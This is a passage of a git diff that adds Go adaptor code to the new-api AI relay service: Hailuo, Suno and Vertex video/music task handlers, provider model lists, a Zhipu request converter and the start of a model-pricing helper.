+	case strings.Contains(size, "512"):
+		return Resolution512P
+	default:
+		return modelConfig.DefaultResolution
+	}
+}
+
+func (a *TaskAdaptor) ParseTaskResult(respBody []byte) (*relaycommon.TaskInfo, error) {
+	resTask := QueryTaskResponse{}
+	if err := common.Unmarshal(respBody, &resTask); err != nil {
+		return nil, errors.Wrap(err, "unmarshal task result failed")
+	}
+
+	taskResult := relaycommon.TaskInfo{}
+
+	if resTask.BaseResp.StatusCode == StatusSuccess {
+		taskResult.Code = 0
+	} else {
+		taskResult.Code = resTask.BaseResp.StatusCode
+		taskResult.Reason = resTask.BaseResp.StatusMsg
+		taskResult.Status = model.TaskStatusFailure
+		taskResult.Progress = "100%"
+	}
+
+	switch resTask.Status {
+	case TaskStatusPreparing, TaskStatusQueueing, TaskStatusProcessing:
+		taskResult.Status = model.TaskStatusInProgress
+		taskResult.Progress = "30%"
+		if resTask.Status == TaskStatusProcessing {
+			taskResult.Progress = "50%"
+		}
+	case TaskStatusSuccess:
+		taskResult.Status = model.TaskStatusSuccess
+		taskResult.Progress = "100%"
+		taskResult.Url = a.buildVideoURL(resTask.TaskID, resTask.FileID)
+	case TaskStatusFailed:
+		taskResult.Status = model.TaskStatusFailure
+		taskResult.Progress = "100%"
+		if taskResult.Reason == "" {
+			taskResult.Reason = "task failed"
+		}
+	default:
+		taskResult.Status = model.TaskStatusInProgress
+		taskResult.Progress = "30%"
+	}
+
+	return &taskResult, nil
+}
+
+func (a *TaskAdaptor) ConvertToOpenAIVideo(originTask *model.Task) ([]byte, error) {
+	var hailuoResp QueryTaskResponse
+	if err := common.Unmarshal(originTask.Data, &hailuoResp); err != nil {
+		return nil, errors.Wrap(err, "unmarshal hailuo task data failed")
+	}
+
+	openAIVideo := originTask.ToOpenAIVideo()
+	if hailuoResp.BaseResp.StatusCode != StatusSuccess {
+		openAIVideo.Error = &dto.OpenAIVideoError{
+			Message: hailuoResp.BaseResp.StatusMsg,
+			Code:    strconv.Itoa(hailuoResp.BaseResp.StatusCode),
+		}
+	}
+
+	jsonData, err := common.Marshal(openAIVideo)
+	if err != nil {
+		return nil, errors.Wrap(err, "marshal openai video failed")
+	}
+
+	return jsonData, nil
+}
+
+func (a *TaskAdaptor) buildVideoURL(_, fileID string) string {
+	if a.apiKey == "" || a.baseURL == "" {
+		return ""
+	}
+
+	url := fmt.Sprintf("%s/v1/files/retrieve?file_id=%s", a.baseURL, fileID)
+
+	req, err := http.NewRequest(http.MethodGet, url, nil)
+	if err != nil {
+		return ""
+	}
+
+	req.Header.Set("Accept", "application/json")
+	req.Header.Set("Authorization", "Bearer "+a.apiKey)
+
+	resp, err := service.GetHttpClient().Do(req)
+	if err != nil {
+		return ""
+	}
+	defer resp.Body.Close()
+
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return ""
+	}
+
+	var retrieveResp RetrieveFileResponse
+	if err := common.Unmarshal(responseBody, &retrieveResp); err != nil {
+		return ""
+	}
+
+	if retrieveResp.BaseResp.StatusCode != StatusSuccess {
+		return ""
+	}
+
+	return retrieveResp.File.DownloadURL
+}
+
+func contains(slice []string, item string) bool {
+	for _, s := range slice {
+		if s == item {
+			return true
+		}
+	}
+	return false
+}
+
+func containsInt(slice []int, item int) bool {
+	for _, s := range slice {
+		if s == item {
+			return true
+		}
+	}
+	return false
+}
diff --git a/_all-in-one-upload/new-api/relay/channel/task/suno/adaptor.go b/_all-in-one-upload/new-api/relay/channel/task/suno/adaptor.go
new file mode 100644
index 0000000..35b5e42
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/task/suno/adaptor.go
@@ -0,0 +1,167 @@
+package suno
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/relay/channel"
+	taskcommon "github.com/QuantumNous/new-api/relay/channel/task/taskcommon"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/service"
+
+	"github.com/gin-gonic/gin"
+)
+
+type TaskAdaptor struct {
+	taskcommon.BaseBilling
+	ChannelType int
+}
+
+// ParseTaskResult is not used for Suno tasks.
+// Suno polling uses a dedicated batch-fetch path (service.UpdateSunoTasks) that
+// receives dto.TaskResponse[[]dto.SunoDataResponse] from the upstream /fetch API.
+// This differs from the per-task polling used by video adaptors.
+func (a *TaskAdaptor) ParseTaskResult([]byte) (*relaycommon.TaskInfo, error) {
+	return nil, fmt.Errorf("suno uses batch polling via UpdateSunoTasks, ParseTaskResult is not applicable")
+}
+
+func (a *TaskAdaptor) Init(info *relaycommon.RelayInfo) {
+	a.ChannelType = info.ChannelType
+}
+
+func (a *TaskAdaptor) ValidateRequestAndSetAction(c *gin.Context, info *relaycommon.RelayInfo) (taskErr *dto.TaskError) {
+	action := strings.ToUpper(c.Param("action"))
+
+	var sunoRequest *dto.SunoSubmitReq
+	err := common.UnmarshalBodyReusable(c, &sunoRequest)
+	if err != nil {
+		taskErr = service.TaskErrorWrapperLocal(err, "invalid_request", http.StatusBadRequest)
+		return
+	}
+	err = actionValidate(c, sunoRequest, action)
+	if err != nil {
+		taskErr = service.TaskErrorWrapperLocal(err, "invalid_request", http.StatusBadRequest)
+		return
+	}
+
+	//if sunoRequest.ContinueClipId != "" {
+	//	if sunoRequest.TaskID == "" {
+	//		taskErr = service.TaskErrorWrapperLocal(fmt.Errorf("task id is empty"), "invalid_request", http.StatusBadRequest)
+	//		return
+	//	}
+	//	info.OriginTaskID = sunoRequest.TaskID
+	//}
+
+	info.Action = action
+	c.Set("task_request", sunoRequest)
+	return nil
+}
+
+func (a *TaskAdaptor) BuildRequestURL(info *relaycommon.RelayInfo) (string, error) {
+	baseURL := info.ChannelBaseUrl
+	fullRequestURL := fmt.Sprintf("%s%s", baseURL, "/suno/submit/"+info.Action)
+	return fullRequestURL, nil
+}
+
+func (a *TaskAdaptor) BuildRequestHeader(c *gin.Context, req *http.Request, info *relaycommon.RelayInfo) error {
+	req.Header.Set("Content-Type", c.Request.Header.Get("Content-Type"))
+	req.Header.Set("Accept", c.Request.Header.Get("Accept"))
+	req.Header.Set("Authorization", "Bearer "+info.ApiKey)
+	return nil
+}
+
+func (a *TaskAdaptor) BuildRequestBody(c *gin.Context, info *relaycommon.RelayInfo) (io.Reader, error) {
+	sunoRequest, ok := c.Get("task_request")
+	if !ok {
+		return nil, fmt.Errorf("task_request not found in context")
+	}
+	data, err := common.Marshal(sunoRequest)
+	if err != nil {
+		return nil, err
+	}
+	return bytes.NewReader(data), nil
+}
+
+func (a *TaskAdaptor) DoRequest(c *gin.Context, info *relaycommon.RelayInfo, requestBody io.Reader) (*http.Response, error) {
+	return channel.DoTaskApiRequest(a, c, info, requestBody)
+}
+
+func (a *TaskAdaptor) DoResponse(c *gin.Context, resp *http.Response, info *relaycommon.RelayInfo) (taskID string, taskData []byte, taskErr *dto.TaskError) {
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		taskErr = service.TaskErrorWrapper(err, "read_response_body_failed", http.StatusInternalServerError)
+		return
+	}
+	var sunoResponse dto.TaskResponse[string]
+	err = common.Unmarshal(responseBody, &sunoResponse)
+	if err != nil {
+		taskErr = service.TaskErrorWrapper(err, "unmarshal_response_body_failed", http.StatusInternalServerError)
+		return
+	}
+	if !sunoResponse.IsSuccess() {
+		taskErr = service.TaskErrorWrapper(fmt.Errorf("%s", sunoResponse.Message), sunoResponse.Code, http.StatusInternalServerError)
+		return
+	}
+
+	// 使用公开 task_xxxx ID 替换上游 ID 返回给客户端
+	publicResponse := dto.TaskResponse[string]{
+		Code:    sunoResponse.Code,
+		Message: sunoResponse.Message,
+		Data:    info.PublicTaskID,
+	}
+	c.JSON(http.StatusOK, publicResponse)
+
+	return sunoResponse.Data, nil, nil
+}
+
+func (a *TaskAdaptor) GetModelList() []string {
+	return ModelList
+}
+
+func (a *TaskAdaptor) GetChannelName() string {
+	return ChannelName
+}
+
+func (a *TaskAdaptor) FetchTask(baseUrl, key string, body map[string]any, proxy string) (*http.Response, error) {
+	requestUrl := fmt.Sprintf("%s/suno/fetch", baseUrl)
+	byteBody, err := common.Marshal(body)
+	if err != nil {
+		return nil, err
+	}
+
+	req, err := http.NewRequest("POST", requestUrl, bytes.NewBuffer(byteBody))
+	if err != nil {
+		common.SysLog(fmt.Sprintf("Get Task error: %v", err))
+		return nil, err
+	}
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Authorization", "Bearer "+key)
+	client, err := service.GetHttpClientWithProxy(proxy)
+	if err != nil {
+		return nil, fmt.Errorf("new proxy http client failed: %w", err)
+	}
+	return client.Do(req)
+}
+
+func actionValidate(c *gin.Context, sunoRequest *dto.SunoSubmitReq, action string) (err error) {
+	switch action {
+	case constant.SunoActionMusic:
+		if sunoRequest.Mv == "" {
+			sunoRequest.Mv = "chirp-v3-0"
+		}
+	case constant.SunoActionLyrics:
+		if sunoRequest.Prompt == "" {
+			err = fmt.Errorf("prompt_empty")
+			return
+		}
+	default:
+		err = fmt.Errorf("invalid_action")
+	}
+	return
+}
diff --git a/_all-in-one-upload/new-api/relay/channel/task/vertex/adaptor.go b/_all-in-one-upload/new-api/relay/channel/task/vertex/adaptor.go
new file mode 100644
index 0000000..b76364e
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/task/vertex/adaptor.go
@@ -0,0 +1,424 @@
+package vertex
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"net/http"
+	"regexp"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/gin-gonic/gin"
+
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/relay/channel"
+	geminitask "github.com/QuantumNous/new-api/relay/channel/task/gemini"
+	taskcommon "github.com/QuantumNous/new-api/relay/channel/task/taskcommon"
+	vertexcore "github.com/QuantumNous/new-api/relay/channel/vertex"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/service"
+)
+
+// ============================
+// Request / Response structures
+// ============================
+
+type fetchOperationPayload struct {
+	OperationName string `json:"operationName"`
+}
+
+type submitResponse struct {
+	Name string `json:"name"`
+}
+
+type operationVideo struct {
+	MimeType           string `json:"mimeType"`
+	BytesBase64Encoded string `json:"bytesBase64Encoded"`
+	Encoding           string `json:"encoding"`
+}
+
+type operationResponse struct {
+	Name     string `json:"name"`
+	Done     bool   `json:"done"`
+	Response struct {
+		Type                  string           `json:"@type"`
+		RaiMediaFilteredCount int              `json:"raiMediaFilteredCount"`
+		Videos                []operationVideo `json:"videos"`
+		BytesBase64Encoded    string           `json:"bytesBase64Encoded"`
+		Encoding              string           `json:"encoding"`
+		Video                 string           `json:"video"`
+	} `json:"response"`
+	Error struct {
+		Message string `json:"message"`
+	} `json:"error"`
+}
+
+// ============================
+// Adaptor implementation
+// ============================
+
+type TaskAdaptor struct {
+	taskcommon.BaseBilling
+	ChannelType int
+	apiKey      string
+	baseURL     string
+}
+
+func (a *TaskAdaptor) Init(info *relaycommon.RelayInfo) {
+	a.ChannelType = info.ChannelType
+	a.baseURL = info.ChannelBaseUrl
+	a.apiKey = info.ApiKey
+}
+
+// ValidateRequestAndSetAction parses body, validates fields and sets default action.
+func (a *TaskAdaptor) ValidateRequestAndSetAction(c *gin.Context, info *relaycommon.RelayInfo) (taskErr *dto.TaskError) {
+	// Use the standard validation method for TaskSubmitReq
+	return relaycommon.ValidateBasicTaskRequest(c, info, constant.TaskActionTextGenerate)
+}
+
+// BuildRequestURL constructs the upstream URL.
+func (a *TaskAdaptor) BuildRequestURL(info *relaycommon.RelayInfo) (string, error) {
+	adc := &vertexcore.Credentials{}
+	if err := common.Unmarshal([]byte(a.apiKey), adc); err != nil {
+		return "", fmt.Errorf("failed to decode credentials: %w", err)
+	}
+	modelName := info.UpstreamModelName
+	if modelName == "" {
+		modelName = "veo-3.0-generate-001"
+	}
+
+	region := vertexcore.GetModelRegion(info.ApiVersion, modelName)
+	if strings.TrimSpace(region) == "" {
+		region = "global"
+	}
+	if region == "global" {
+		return fmt.Sprintf(
+			"https://aiplatform.googleapis.com/v1/projects/%s/locations/global/publishers/google/models/%s:predictLongRunning",
+			adc.ProjectID,
+			modelName,
+		), nil
+	}
+	return fmt.Sprintf(
+		"https://%s-aiplatform.googleapis.com/v1/projects/%s/locations/%s/publishers/google/models/%s:predictLongRunning",
+		region,
+		adc.ProjectID,
+		region,
+		modelName,
+	), nil
+}
+
+// BuildRequestHeader sets required headers.
+func (a *TaskAdaptor) BuildRequestHeader(c *gin.Context, req *http.Request, info *relaycommon.RelayInfo) error {
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Accept", "application/json")
+
+	adc := &vertexcore.Credentials{}
+	if err := common.Unmarshal([]byte(a.apiKey), adc); err != nil {
+		return fmt.Errorf("failed to decode credentials: %w", err)
+	}
+
+	proxy := ""
+	if info != nil {
+		proxy = info.ChannelSetting.Proxy
+	}
+	token, err := vertexcore.AcquireAccessToken(*adc, proxy)
+	if err != nil {
+		return fmt.Errorf("failed to acquire access token: %w", err)
+	}
+	req.Header.Set("Authorization", "Bearer "+token)
+	req.Header.Set("x-goog-user-project", adc.ProjectID)
+	return nil
+}
+
+// EstimateBilling returns OtherRatios based on durationSeconds and resolution.
+func (a *TaskAdaptor) EstimateBilling(c *gin.Context, info *relaycommon.RelayInfo) map[string]float64 {
+	v, ok := c.Get("task_request")
+	if !ok {
+		return nil
+	}
+	req := v.(relaycommon.TaskSubmitReq)
+
+	seconds := geminitask.ResolveVeoDuration(req.Metadata, req.Duration, req.Seconds)
+	resolution := geminitask.ResolveVeoResolution(req.Metadata, req.Size)
+	resRatio := geminitask.VeoResolutionRatio(info.UpstreamModelName, resolution)
+
+	return map[string]float64{
+		"seconds":    float64(seconds),
+		"resolution": resRatio,
+	}
+}
+
+// BuildRequestBody converts request into Vertex specific format.
+func (a *TaskAdaptor) BuildRequestBody(c *gin.Context, info *relaycommon.RelayInfo) (io.Reader, error) {
+	v, ok := c.Get("task_request")
+	if !ok {
+		return nil, fmt.Errorf("request not found in context")
+	}
+	req := v.(relaycommon.TaskSubmitReq)
+
+	instance := geminitask.VeoInstance{Prompt: req.Prompt}
+	if img := geminitask.ExtractMultipartImage(c, info); img != nil {
+		instance.Image = img
+	} else if len(req.Images) > 0 {
+		if parsed := geminitask.ParseImageInput(req.Images[0]); parsed != nil {
+			instance.Image = parsed
+			info.Action = constant.TaskActionGenerate
+		}
+	}
+
+	params := &geminitask.VeoParameters{}
+	if err := taskcommon.UnmarshalMetadata(req.Metadata, params); err != nil {
+		return nil, fmt.Errorf("unmarshal metadata failed: %w", err)
+	}
+	if params.DurationSeconds == 0 && req.Duration > 0 {
+		params.DurationSeconds = req.Duration
+	}
+	if params.Resolution == "" && req.Size != "" {
+		params.Resolution = geminitask.SizeToVeoResolution(req.Size)
+	}
+	if params.AspectRatio == "" && req.Size != "" {
+		params.AspectRatio = geminitask.SizeToVeoAspectRatio(req.Size)
+	}
+	params.Resolution = strings.ToLower(params.Resolution)
+	params.SampleCount = 1
+
+	body := geminitask.VeoRequestPayload{
+		Instances:  []geminitask.VeoInstance{instance},
+		Parameters: params,
+	}
+
+	data, err := common.Marshal(body)
+	if err != nil {
+		return nil, err
+	}
+	return bytes.NewReader(data), nil
+}
+
+// DoRequest delegates to common helper.
+func (a *TaskAdaptor) DoRequest(c *gin.Context, info *relaycommon.RelayInfo, requestBody io.Reader) (*http.Response, error) {
+	return channel.DoTaskApiRequest(a, c, info, requestBody)
+}
+
+// DoResponse handles upstream response, returns taskID etc.
+func (a *TaskAdaptor) DoResponse(c *gin.Context, resp *http.Response, info *relaycommon.RelayInfo) (taskID string, taskData []byte, taskErr *dto.TaskError) {
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return "", nil, service.TaskErrorWrapper(err, "read_response_body_failed", http.StatusInternalServerError)
+	}
+	_ = resp.Body.Close()
+
+	var s submitResponse
+	if err := common.Unmarshal(responseBody, &s); err != nil {
+		return "", nil, service.TaskErrorWrapper(err, "unmarshal_response_failed", http.StatusInternalServerError)
+	}
+	if strings.TrimSpace(s.Name) == "" {
+		return "", nil, service.TaskErrorWrapper(fmt.Errorf("missing operation name"), "invalid_response", http.StatusInternalServerError)
+	}
+	localID := taskcommon.EncodeLocalTaskID(s.Name)
+	ov := dto.NewOpenAIVideo()
+	ov.ID = info.PublicTaskID
+	ov.TaskID = info.PublicTaskID
+	ov.CreatedAt = time.Now().Unix()
+	ov.Model = info.OriginModelName
+	c.JSON(http.StatusOK, ov)
+	return localID, responseBody, nil
+}
+
+func (a *TaskAdaptor) GetModelList() []string {
+	return []string{
+		"veo-3.0-generate-001",
+		"veo-3.0-fast-generate-001",
+		"veo-3.1-generate-preview",
+		"veo-3.1-fast-generate-preview",
+	}
+}
+func (a *TaskAdaptor) GetChannelName() string { return "vertex" }
+
+// FetchTask fetch task status
+func (a *TaskAdaptor) FetchTask(baseUrl, key string, body map[string]any, proxy string) (*http.Response, error) {
+	taskID, ok := body["task_id"].(string)
+	if !ok {
+		return nil, fmt.Errorf("invalid task_id")
+	}
+	upstreamName, err := taskcommon.DecodeLocalTaskID(taskID)
+	if err != nil {
+		return nil, fmt.Errorf("decode task_id failed: %w", err)
+	}
+	region := extractRegionFromOperationName(upstreamName)
+	if region == "" {
+		region = "us-central1"
+	}
+	project := extractProjectFromOperationName(upstreamName)
+	modelName := extractModelFromOperationName(upstreamName)
+	if project == "" || modelName == "" {
+		return nil, fmt.Errorf("cannot extract project/model from operation name")
+	}
+	var url string
+	if region == "global" {
+		url = fmt.Sprintf("https://aiplatform.googleapis.com/v1/projects/%s/locations/global/publishers/google/models/%s:fetchPredictOperation", project, modelName)
+	} else {
+		url = fmt.Sprintf("https://%s-aiplatform.googleapis.com/v1/projects/%s/locations/%s/publishers/google/models/%s:fetchPredictOperation", region, project, region, modelName)
+	}
+	payload := fetchOperationPayload{OperationName: upstreamName}
+	data, err := common.Marshal(payload)
+	if err != nil {
+		return nil, err
+	}
+	adc := &vertexcore.Credentials{}
+	if err := common.Unmarshal([]byte(key), adc); err != nil {
+		return nil, fmt.Errorf("failed to decode credentials: %w", err)
+	}
+	token, err := vertexcore.AcquireAccessToken(*adc, proxy)
+	if err != nil {
+		return nil, fmt.Errorf("failed to acquire access token: %w", err)
+	}
+	req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(data))
+	if err != nil {
+		return nil, err
+	}
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Accept", "application/json")
+	req.Header.Set("Authorization", "Bearer "+token)
+	req.Header.Set("x-goog-user-project", adc.ProjectID)
+	client, err := service.GetHttpClientWithProxy(proxy)
+	if err != nil {
+		return nil, fmt.Errorf("new proxy http client failed: %w", err)
+	}
+	return client.Do(req)
+}
+
+func (a *TaskAdaptor) ParseTaskResult(respBody []byte) (*relaycommon.TaskInfo, error) {
+	var op operationResponse
+	if err := common.Unmarshal(respBody, &op); err != nil {
+		return nil, fmt.Errorf("unmarshal operation response failed: %w", err)
+	}
+	ti := &relaycommon.TaskInfo{}
+	if op.Error.Message != "" {
+		ti.Status = model.TaskStatusFailure
+		ti.Reason = op.Error.Message
+		ti.Progress = "100%"
+		return ti, nil
+	}
+	if !op.Done {
+		ti.Status = model.TaskStatusInProgress
+		ti.Progress = "50%"
+		return ti, nil
+	}
+	ti.Status = model.TaskStatusSuccess
+	ti.Progress = "100%"
+	if len(op.Response.Videos) > 0 {
+		v0 := op.Response.Videos[0]
+		if v0.BytesBase64Encoded != "" {
+			mime := strings.TrimSpace(v0.MimeType)
+			if mime == "" {
+				enc := strings.TrimSpace(v0.Encoding)
+				if enc == "" {
+					enc = "mp4"
+				}
+				if strings.Contains(enc, "/") {
+					mime = enc
+				} else {
+					mime = "video/" + enc
+				}
+			}
+			ti.Url = "data:" + mime + ";base64," + v0.BytesBase64Encoded
+			return ti, nil
+		}
+	}
+	if op.Response.BytesBase64Encoded != "" {
+		enc := strings.TrimSpace(op.Response.Encoding)
+		if enc == "" {
+			enc = "mp4"
+		}
+		mime := enc
+		if !strings.Contains(enc, "/") {
+			mime = "video/" + enc
+		}
+		ti.Url = "data:" + mime + ";base64," + op.Response.BytesBase64Encoded
+		return ti, nil
+	}
+	if op.Response.Video != "" { // some variants use `video` as base64
+		enc := strings.TrimSpace(op.Response.Encoding)
+		if enc == "" {
+			enc = "mp4"
+		}
+		mime := enc
+		if !strings.Contains(enc, "/") {
+			mime = "video/" + enc
+		}
+		ti.Url = "data:" + mime + ";base64," + op.Response.Video
+		return ti, nil
+	}
+	return ti, nil
+}
+
+func (a *TaskAdaptor) ConvertToOpenAIVideo(task *model.Task) ([]byte, error) {
+	// Use GetUpstreamTaskID() to get the real upstream operation name for model extraction.
+	// task.TaskID is now a public task_xxxx ID, no longer a base64-encoded upstream name.
+	upstreamTaskID := task.GetUpstreamTaskID()
+	upstreamName, err := taskcommon.DecodeLocalTaskID(upstreamTaskID)
+	if err != nil {
+		upstreamName = ""
+	}
+	modelName := extractModelFromOperationName(upstreamName)
+	if strings.TrimSpace(modelName) == "" {
+		modelName = "veo-3.0-generate-001"
+	}
+	v := dto.NewOpenAIVideo()
+	v.ID = task.TaskID
+	v.Model = modelName
+	v.Status = task.Status.ToVideoStatus()
+	v.SetProgressStr(task.Progress)
+	v.CreatedAt = task.CreatedAt
+	v.CompletedAt = task.UpdatedAt
+	if resultURL := task.GetResultURL(); strings.HasPrefix(resultURL, "data:") && len(resultURL) > 0 {
+		v.SetMetadata("url", resultURL)
+	}
+
+	return common.Marshal(v)
+}
+
+// ============================
+// helpers
+// ============================
+
+var regionRe = regexp.MustCompile(`locations/([a-z0-9-]+)/`)
+
+func extractRegionFromOperationName(name string) string {
+	m := regionRe.FindStringSubmatch(name)
+	if len(m) == 2 {
+		return m[1]
+	}
+	return ""
+}
+
+var modelRe = regexp.MustCompile(`models/([^/]+)/operations/`)
+
+func extractModelFromOperationName(name string) string {
+	m := modelRe.FindStringSubmatch(name)
+	if len(m) == 2 {
+		return m[1]
+	}
+	idx := strings.Index(name, "models/")
+	if idx >= 0 {
+		s := name[idx+len("models/"):]
+		if p := strings.Index(s, "/operations/"); p > 0 {
+			return s[:p]
+		}
+	}
+	return ""
+}
+
+var projectRe = regexp.MustCompile(`projects/([^/]+)/locations/`)
+
+func extractProjectFromOperationName(name string) string {
+	m := projectRe.FindStringSubmatch(name)
+	if len(m) == 2 {
+		return m[1]
+	}
+	return ""
+}
diff --git a/_all-in-one-upload/new-api/relay/channel/volcengine/constants.go b/_all-in-one-upload/new-api/relay/channel/volcengine/constants.go
new file mode 100644
index 0000000..87a12b2
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/volcengine/constants.go
@@ -0,0 +1,19 @@
+package volcengine
+
+var ModelList = []string{
+	"Doubao-pro-128k",
+	"Doubao-pro-32k",
+	"Doubao-pro-4k",
+	"Doubao-lite-128k",
+	"Doubao-lite-32k",
+	"Doubao-lite-4k",
+	"Doubao-embedding",
+	"doubao-seedream-4-0-250828",
+	"seedream-4-0-250828",
+	"doubao-seedance-1-0-pro-250528",
+	"seedance-1-0-pro-250528",
+	"doubao-seed-1-6-thinking-250715",
+	"seed-1-6-thinking-250715",
+}
+
+var ChannelName = "volcengine"
diff --git a/_all-in-one-upload/new-api/relay/channel/xinference/constant.go b/_all-in-one-upload/new-api/relay/channel/xinference/constant.go
new file mode 100644
index 0000000..a119084
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/xinference/constant.go
@@ -0,0 +1,8 @@
+package xinference
+
+var ModelList = []string{
+	"bge-reranker-v2-m3",
+	"jina-reranker-v2",
+}
+
+var ChannelName = "xinference"
diff --git a/_all-in-one-upload/new-api/relay/channel/zhipu_4v/relay-zhipu_v4.go b/_all-in-one-upload/new-api/relay/channel/zhipu_4v/relay-zhipu_v4.go
new file mode 100644
index 0000000..91ef0c4
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/zhipu_4v/relay-zhipu_v4.go
@@ -0,0 +1,60 @@
+package zhipu_4v
+
+import (
+	"strings"
+
+	"github.com/QuantumNous/new-api/dto"
+)
+
+func requestOpenAI2Zhipu(request dto.GeneralOpenAIRequest) *dto.GeneralOpenAIRequest {
+	messages := make([]dto.Message, 0, len(request.Messages))
+	for _, message := range request.Messages {
+		if !message.IsStringContent() {
+			mediaMessages := message.ParseContent()
+			for j, mediaMessage := range mediaMessages {
+				if mediaMessage.Type == dto.ContentTypeImageURL {
+					imageUrl := mediaMessage.GetImageMedia()
+					// check if base64
+					if strings.HasPrefix(imageUrl.Url, "data:image/") {
+						// 去除base64数据的URL前缀（如果有）
+						if idx := strings.Index(imageUrl.Url, ","); idx != -1 {
+							imageUrl.Url = imageUrl.Url[idx+1:]
+						}
+					}
+					mediaMessage.ImageUrl = imageUrl
+					mediaMessages[j] = mediaMessage
+				}
+			}
+			message.SetMediaContent(mediaMessages)
+		}
+		messages = append(messages, dto.Message{
+			Role:       message.Role,
+			Content:    message.Content,
+			ToolCalls:  message.ToolCalls,
+			ToolCallId: message.ToolCallId,
+		})
+	}
+	str, ok := request.Stop.(string)
+	var Stop []string
+	if ok {
+		Stop = []string{str}
+	} else {
+		Stop, _ = request.Stop.([]string)
+	}
+	out := &dto.GeneralOpenAIRequest{
+		Model:       request.Model,
+		Stream:      request.Stream,
+		Messages:    messages,
+		Temperature: request.Temperature,
+		TopP:        request.TopP,
+		Stop:        Stop,
+		Tools:       request.Tools,
+		ToolChoice:  request.ToolChoice,
+		THINKING:    request.THINKING,
+	}
+	if request.MaxTokens != nil || request.MaxCompletionTokens != nil {
+		maxTokens := request.GetMaxTokens()
+		out.MaxTokens = &maxTokens
+	}
+	return out
+}
diff --git a/_all-in-one-upload/new-api/relay/helper/price.go b/_all-in-one-upload/new-api/relay/helper/price.go
new file mode 100644
index 0000000..0e68edb
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/helper/price.go
@@ -0,0 +1,308 @@
+package helper
+
+import (
+	"fmt"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/billing_setting"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+	"github.com/QuantumNous/new-api/setting/ratio_setting"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+)
+
+func modelPriceNotConfiguredError(modelName string, userId int) error {
+	if model.IsAdmin(userId) {
+		return fmt.Errorf(
+			"模型 %s 的价格未配置。请前往「系统设置 → 运营设置」开启自用模式，或在「系统设置 → 分组与模型定价设置」中为该模型配置价格；"+
+				"Model %s price not configured. Go to System Settings → Operation Settings to enable self-use mode, or configure the model price in System Settings → Group & Model Pricing.",
+			modelName, modelName,
+		)
+	}
+	return fmt.Errorf(
+		"模型 %s 的价格尚未由管理员配置，暂时无法使用，请联系站点管理员开启该模型；"+
+			"Model %s has not been priced by the administrator yet. Please contact the site administrator to enable this model.",
+		modelName, modelName,
+	)
+}
+
+// https://docs.claude.com/en/docs/build-with-claude/prompt-caching#1-hour-cache-duration
+const claudeCacheCreation1hMultiplier = 6 / 3.75
+
+// HandleGroupRatio checks for "auto_group" in the context and updates the group ratio and relayInfo.UsingGroup if present
+func HandleGroupRatio(ctx *gin.Context, relayInfo *relaycommon.RelayInfo) types.GroupRatioInfo {
+	groupRatioInfo := types.GroupRatioInfo{
+		GroupRatio:        1.0, // default ratio
+		GroupSpecialRatio: -1,
+	}
+
+	// check auto group
+	autoGroup, exists := ctx.Get("auto_group")
+	if exists {
+		logger.LogDebug(ctx, fmt.Sprintf("final group: %s", autoGroup))
+		relayInfo.UsingGroup = autoGroup.(string)
+	}
+
+	// check user group special ratio
+	userGroupRatio, ok := ratio_setting.GetGroupGroupRatio(relayInfo.UserGroup, relayInfo.UsingGroup)
+	if ok {
+		// user group special ratio
+		groupRatioInfo.GroupSpecialRatio = userGroupRatio
+		groupRatioInfo.GroupRatio = userGroupRatio
+		groupRatioInfo.HasSpecialRatio = true
+	} else {
+		// normal group ratio
+		groupRatioInfo.GroupRatio = ratio_setting.GetGroupRatio(relayInfo.UsingGroup)
+	}
+
+	return groupRatioInfo
+}
+
+func ModelPriceHelper(c *gin.Context, info *relaycommon.RelayInfo, promptTokens int, meta *types.TokenCountMeta) (types.PriceData, error) {
+	modelPrice, usePrice := ratio_setting.GetModelPrice(info.OriginModelName, false)
+
+	groupRatioInfo := HandleGroupRatio(c, info)
+
+	// Check if this model uses tiered_expr billing
+	if billing_setting.GetBillingMode(info.OriginModelName) == billing_setting.BillingModeTieredExpr {
+		return modelPriceHelperTiered(c, info, promptTokens, meta, groupRatioInfo)
+	}
+
+	var preConsumedQuota int
+	var modelRatio float64
+	var completionRatio float64
+	var cacheRatio float64
+	var imageRatio float64
+	var cacheCreationRatio float64
+	var cacheCreationRatio5m float64
+	var cacheCreationRatio1h float64
+	var audioRatio float64
+	var audioCompletionRatio float64
+	var freeModel bool
+	if !usePrice {
+		preConsumedTokens := common.Max(promptTokens, common.PreConsumedQuota)
+		if meta.MaxTokens != 0 {
+			preConsumedTokens += meta.MaxTokens
+		}
+		var success bool
+		var matchName string
+		modelRatio, success, matchName = ratio_setting.GetModelRatio(info.OriginModelName)
+		if !success {
+			acceptUnsetRatio := false
